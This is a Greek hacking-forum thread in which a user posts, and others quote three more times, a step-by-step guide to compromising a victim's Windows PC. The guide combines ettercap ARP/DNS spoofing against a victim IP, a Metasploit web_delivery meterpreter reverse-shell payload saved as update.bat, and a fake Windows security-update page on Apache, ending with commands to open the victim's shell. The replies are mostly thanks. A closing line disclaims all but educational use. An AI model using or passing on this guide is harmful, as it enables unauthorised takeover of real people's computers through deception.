Chatroom Rules

[z3n0r 48]

[hide]

Αρχικά πηγαίνουμε στο Kali Linux στον κατάλογο Home. Στη συνέχεια προχωράμε στο /etc/ettercap. Τώρα κάνουμε επεξεργασία τον φάκελο etter.dns

Τροποποιούμε το περιεχόμενο από το etter.dns και προσθέτουμε την προσωπική μας IP Address σαν Α εγγραφή.

Τώρα τρέχουμε την ακόλουθη εντολή με την IP Address του θύματος για να εξαπατήσουμε τον υπολογιστή του θύματος.
ettercap  –i  eth0 –T  –q  –P  dns_spoof  -M  ARP  /192.168.0.103.//

Θα ενεργοποιηθεί το dns_spoof plug-in

 

Ανοίγουμε τον τερματικό και πληκτρολογούμε msfconsole για να ανοίξουμε το metasploit
Τώρα πληκτρολογούμε use exploit/multi/script/web_delivery

msf exploit (web_delivery)>set lhost 192.168.0.125 (IP of Local Host)

msf exploit (web_delivery)>set lport 4444

msf exploit (web_delivery)>set target 2

msf exploit (web_delivery)>set payload windows/meterpreter/reverse_tcp

msf exploit (web_delivery)>exploit

Τώρα κάνουμε αντιγραφή αυτόν τον Powershell.exe κώδικα και κάνουμε αποθήκευση τον φάκελο σαν update.bat

Τώρα δημιουργούμε μία ψεύτικη ιστοσελίδα που εμφανίζει ένα ενημερωτικό μήνυμα ασφάλειας των Windows. Στην ιστοσελίδα δώστε σαν hyperlink τον φάκελο update.bat

Τώρα κάνουμε αποθήκευση την ιστοσελίδα σαν index.html και την κάνουμε επικόλληση στον κατάλογο /var/www/html

Τώρα εκκινούμε τον server Apache γράφοντας την ακόλουθη εντολή Service Apache2 start

 

 

Όταν το θύμα ανοίξει κάθε ιστοσελίδα, θα εμφανίζει το σχετικό παράθυρο με το μήνυμα ασφαλείας των Windows.

Όταν το θύμα κάνει κλικ στο download update link και κάνει αποθήκευση τον φάκελο batch. Ο φάκελος θα εκτελεστεί αυτόματα.

 

 

Τώρα θα αποκτήσεις τον ελέγχο από τον υπολογιστή του θύματος. Πληκτρολόγησε την ακόλουθη εντολή sessions -l για να εμφανιστoύν τα ανοιχτές sessions, όταν το θύμα ανοίξει τον 
σύνδεσμο.

Τώρα τα sessions είναι ανοιχτά, πληκτρολόγησε sysinfo για να λάβεις τις πληροφορίες του συστήματος. Έπειτα πληκτρολόγησε shell για να εισέλθεις στο command prompt του θύματος.

[/hide]

 

O παραπάνω οδηγός δημιουργήθηκε για εκπαιδευτικούς σκοπούς και μόνο, για οποιαδήποτε παράνομη χρήση δεν φέρω καμία ευθύνη.

[asterios 2]

Ευχαριστούμε.

[.-inject0r - 4]

Thanks.

[Mrangry 0]

Ty

[asy 0]

ty

[Hisoka 0]

.

[Lytroths420 0]

Ευχαριστω 

[LeontG 0]

Ευχαριστώ πολύ!!!

[$tarter 3]

[Terastios_Noobas 0]

v

[3xPoSeR 2]

g

[proximitymine 2]

ty

[IntiFada1312 0]

ty

[IntiFada1312 0]

ευχαριστώ!!!!

[lektronik 1]

[hide] [/hide]

[ocean00007 0]

thank you my friend

[ptell 1]

ty

[Giwrg0sMasTerGR 70]

ευχαριστω

[lead3r9 2]

On 22/2/2020 at 8:40 ΠΜ, asterios said:

Ευχαριστούμε.

 

On 21/2/2020 at 1:43 ΠΜ, z3n0r said:

 

Κρυφό Περιεχόμενο

---

Για να μπορέσεις να δεις το κρυφό περιεχόμενο πρέπει να απαντήσεις κάτω απο το θέμα.
Όταν απαντήσεις τότε αυτόματα το περιεχόμενο θα ξεκλειδώσει και θα είναι ορατό.
Ευχαριστούμε

 

 

O παραπάνω οδηγός δημιουργήθηκε για εκπαιδευτικούς σκοπούς και μόνο, για οποιαδήποτε παράνομη χρήση δεν φέρω καμία ευθύνη.

 

[Deucalion 0]

Ty

[CryptoDude 1]

Είσαι μάγκας ρε z3n0r !!

[C++user 4]

tromero!

 

[Theodor 0]

On 21/2/2020 at 1:43 ΠΜ, z3n0r said:

[hide]

Αρχικά πηγαίνουμε στο Kali Linux στον κατάλογο Home. Στη συνέχεια προχωράμε στο /etc/ettercap. Τώρα κάνουμε επεξεργασία τον φάκελο etter.dns

Τροποποιούμε το περιεχόμενο από το etter.dns και προσθέτουμε την προσωπική μας IP Address σαν Α εγγραφή.

Τώρα τρέχουμε την ακόλουθη εντολή με την IP Address του θύματος για να εξαπατήσουμε τον υπολογιστή του θύματος.
ettercap  –i  eth0 –T  –q  –P  dns_spoof  -M  ARP  /192.168.0.103.//

Θα ενεργοποιηθεί το dns_spoof plug-in

 

Ανοίγουμε τον τερματικό και πληκτρολογούμε msfconsole για να ανοίξουμε το metasploit
Τώρα πληκτρολογούμε use exploit/multi/script/web_delivery

msf exploit (web_delivery)>set lhost 192.168.0.125 (IP of Local Host)

msf exploit (web_delivery)>set lport 4444

msf exploit (web_delivery)>set target 2

msf exploit (web_delivery)>set payload windows/meterpreter/reverse_tcp

msf exploit (web_delivery)>exploit

Τώρα κάνουμε αντιγραφή αυτόν τον Powershell.exe κώδικα και κάνουμε αποθήκευση τον φάκελο σαν update.bat

Τώρα δημιουργούμε μία ψεύτικη ιστοσελίδα που εμφανίζει ένα ενημερωτικό μήνυμα ασφάλειας των Windows. Στην ιστοσελίδα δώστε σαν hyperlink τον φάκελο update.bat

Τώρα κάνουμε αποθήκευση την ιστοσελίδα σαν index.html και την κάνουμε επικόλληση στον κατάλογο /var/www/html

Τώρα εκκινούμε τον server Apache γράφοντας την ακόλουθη εντολή Service Apache2 start

 

 

Όταν το θύμα ανοίξει κάθε ιστοσελίδα, θα εμφανίζει το σχετικό παράθυρο με το μήνυμα ασφαλείας των Windows.

Όταν το θύμα κάνει κλικ στο download update link και κάνει αποθήκευση τον φάκελο batch. Ο φάκελος θα εκτελεστεί αυτόματα.

 

 

Τώρα θα αποκτήσεις τον ελέγχο από τον υπολογιστή του θύματος. Πληκτρολόγησε την ακόλουθη εντολή sessions -l για να εμφανιστoύν τα ανοιχτές sessions, όταν το θύμα ανοίξει τον 
σύνδεσμο.

Τώρα τα sessions είναι ανοιχτά, πληκτρολόγησε sysinfo για να λάβεις τις πληροφορίες του συστήματος. Έπειτα πληκτρολόγησε shell για να εισέλθεις στο command prompt του θύματος.

[/hide]

 

O παραπάνω οδηγός δημιουργήθηκε για εκπαιδευτικούς σκοπούς και μόνο, για οποιαδήποτε παράνομη χρήση δεν φέρω καμία ευθύνη.

 

 

Edited 8 Φεβρουαρίου 2021 by Theodor

[kostas79 0]

ευχαριστούμε για το ποστάρισμα!φυσικά το θύμα πρέπει να είναι σχετικά αδαές διότι γενικά αποφεύγουμε να πατήσουμε ότι έχει την κατάληξη .bat

[mamalakis23 0]

On 20/2/2020 at 6:43 ΜΜ, z3n0r said:

[hide]

Αρχικά πηγαίνουμε στο Kali Linux στον κατάλογο Home. Στη συνέχεια προχωράμε στο /etc/ettercap. Τώρα κάνουμε επεξεργασία τον φάκελο etter.dns

Τροποποιούμε το περιεχόμενο από το etter.dns και προσθέτουμε την προσωπική μας IP Address σαν Α εγγραφή.

Τώρα τρέχουμε την ακόλουθη εντολή με την IP Address του θύματος για να εξαπατήσουμε τον υπολογιστή του θύματος.
ettercap  –i  eth0 –T  –q  –P  dns_spoof  -M  ARP  /192.168.0.103.//

Θα ενεργοποιηθεί το dns_spoof plug-in

 

Ανοίγουμε τον τερματικό και πληκτρολογούμε msfconsole για να ανοίξουμε το metasploit
Τώρα πληκτρολογούμε use exploit/multi/script/web_delivery

msf exploit (web_delivery)>set lhost 192.168.0.125 (IP of Local Host)

msf exploit (web_delivery)>set lport 4444

msf exploit (web_delivery)>set target 2

msf exploit (web_delivery)>set payload windows/meterpreter/reverse_tcp

msf exploit (web_delivery)>exploit

Τώρα κάνουμε αντιγραφή αυτόν τον Powershell.exe κώδικα και κάνουμε αποθήκευση τον φάκελο σαν update.bat

Τώρα δημιουργούμε μία ψεύτικη ιστοσελίδα που εμφανίζει ένα ενημερωτικό μήνυμα ασφάλειας των Windows. Στην ιστοσελίδα δώστε σαν hyperlink τον φάκελο update.bat

Τώρα κάνουμε αποθήκευση την ιστοσελίδα σαν index.html και την κάνουμε επικόλληση στον κατάλογο /var/www/html

Τώρα εκκινούμε τον server Apache γράφοντας την ακόλουθη εντολή Service Apache2 start

 

 

Όταν το θύμα ανοίξει κάθε ιστοσελίδα, θα εμφανίζει το σχετικό παράθυρο με το μήνυμα ασφαλείας των Windows.

Όταν το θύμα κάνει κλικ στο download update link και κάνει αποθήκευση τον φάκελο batch. Ο φάκελος θα εκτελεστεί αυτόματα.

 

 

Τώρα θα αποκτήσεις τον ελέγχο από τον υπολογιστή του θύματος. Πληκτρολόγησε την ακόλουθη εντολή sessions -l για να εμφανιστoύν τα ανοιχτές sessions, όταν το θύμα ανοίξει τον 
σύνδεσμο.

Τώρα τα sessions είναι ανοιχτά, πληκτρολόγησε sysinfo για να λάβεις τις πληροφορίες του συστήματος. Έπειτα πληκτρολόγησε shell για να εισέλθεις στο command prompt του θύματος.

[/hide]

 

O παραπάνω οδηγός δημιουργήθηκε για εκπαιδευτικούς σκοπούς και μόνο, για οποιαδήποτε παράνομη χρήση δεν φέρω καμία ευθύνη.